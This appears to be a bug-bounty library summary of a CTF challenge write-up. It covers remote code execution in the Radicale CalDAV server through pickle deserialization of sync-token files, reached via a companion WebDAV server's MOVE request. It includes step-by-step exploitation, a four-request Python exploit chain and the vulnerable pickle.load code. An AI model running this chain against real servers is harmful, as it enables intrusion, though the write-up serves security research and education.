# Challendar: Creating a Challenge for The Infosecurity Challenge 2022

Radicale deserializes attacker-written pickle files via sync-token path; a companion WebDAV server's MOVE bypasses dot-folder checks, yielding RCE.

- Payout: Research
- Severity: high
- Program: Radicale
- Write-up by: Eugene Lim
- Disclosed: 2022-09-19
- Write-up quality: 7/10
- Original: https://spaceraccoon.dev/challendar-creating-challenge-infosecurity-challenge-2022/
- Library page: https://bugbountylibrary.com/r/blog%3Aspaceraccoon-dev-challendar-creating-challenge-infosecurity-challenge-2022
- Tags: area:web domain:web impact:rce kind:research platform:research sev:high tech:go tech:python technique:chained technique:source-review vuln:deserialization vuln:path-traversal vuln:rce

**Target:** CalDAV server sync-token pickle deserialization
**Root cause:** Radicale calls pickle.load() on sync-token files stored under .Radicale.cache; Radicale blocks writes to dot-folders, but a companion Go WebDAV server sharing the storage root lacks the not-path.startswith('.') check and allows MOVE/COPY to that path.
**Steps:**
1. Send `REPORT` to `RADICALE_URL/<USERNAME>/default` with a D:sync-collection XML body to generate the sync-token folder and learn a valid 64-char lowercase hex token name.
2. Upload payload: `PUT DEV_SERVER_URL/<USERNAME>/payload` with body `pickle.dumps(RCE())`.
3. Move it into place: `MOVE DEV_SERVER_URL/<USERNAME>/payload` with header `Destination: DEV_SERVER_URL/<USERNAME>/default/.Radicale.cache/sync-token/<SYNC_TOKEN_NAME>`.
4. Trigger: `REPORT RADICALE_URL/<USERNAME>/default` with a D:sync-collection body whose D:sync-token is `http://radicale.org/ns/sync/<SYNC_TOKEN_NAME>`, causing pickle.load() to execute __reduce__.
**How found:** Code review of Radicale: spotted pickle.load() in sync.py, traced the REPORT/D:sync-collection path and token-name validation, then found the .Radicale.cache write was blocked by is_safe_filesystem_path_component's dot-prefix check; noticed the companion Go server omitted that check and that WebDAV MOVE/COPY uses a Destination header to sidestep the 4-segment path limit.
**Exploitation:** Attacker with valid calendar credentials writes a malicious pickle to a non-dot path on the dev WebDAV server, then MOVE/COPYs it into Radicale's .Radicale.cache/sync-token folder (bypassing Radicale's own dot-folder write block). A REPORT with the matching sync-token makes Radicale unpickle it, executing arbitrary code as the Radicale user (root in the CTF).
**Escalation:** Chained two servers sharing a storage root: the weaker dev server provides the write primitive Radicale itself blocks, enabling RCE on the hardened Radicale instance.
**Insight:** When two services share a storage root, audit each for the sanitization the other enforces; WebDAV MOVE/COPY Destination headers often bypass path-segment authorization checks applied only to the request URL.

## Proof of concept (copied exactly from the original report)

**Four-request exploit chain for pickle RCE**

```
# generate sync-token folder
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)

# upload payload
session.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))

# move payload
session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload", headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})

# execute payload
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)
```

**Vulnerable pickle.load in sync method**

```
if old_token_name:
 # load the old token state
 old_token_path = os.path.join(token_folder, old_token_name)
 try:
 # Race: Another process might have deleted the file.
 with open(old_token_path, "rb") as f:
 old_state = pickle.load(f)
```

**nginx proxy blocking unintended methods**

```
location /radicale/ {
 if ($request_method ~ ^(GET|PATCH|TRACE)$ ) {
 return 405 "Method temporarily disabled during development";
 }

 if ($request_method ~ ^(MOVE|DELETE|PROPPATCH|PUT|MKCALENDAR|COPY|POST)$ ) {
 return 403 "Read-only access during development";
 }
 
 proxy_pass http://localhost:5232/;
 proxy_set_header X-Script-Name /radicale;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header Host $http_host;
 proxy_pass_header Authorization;
 }
```

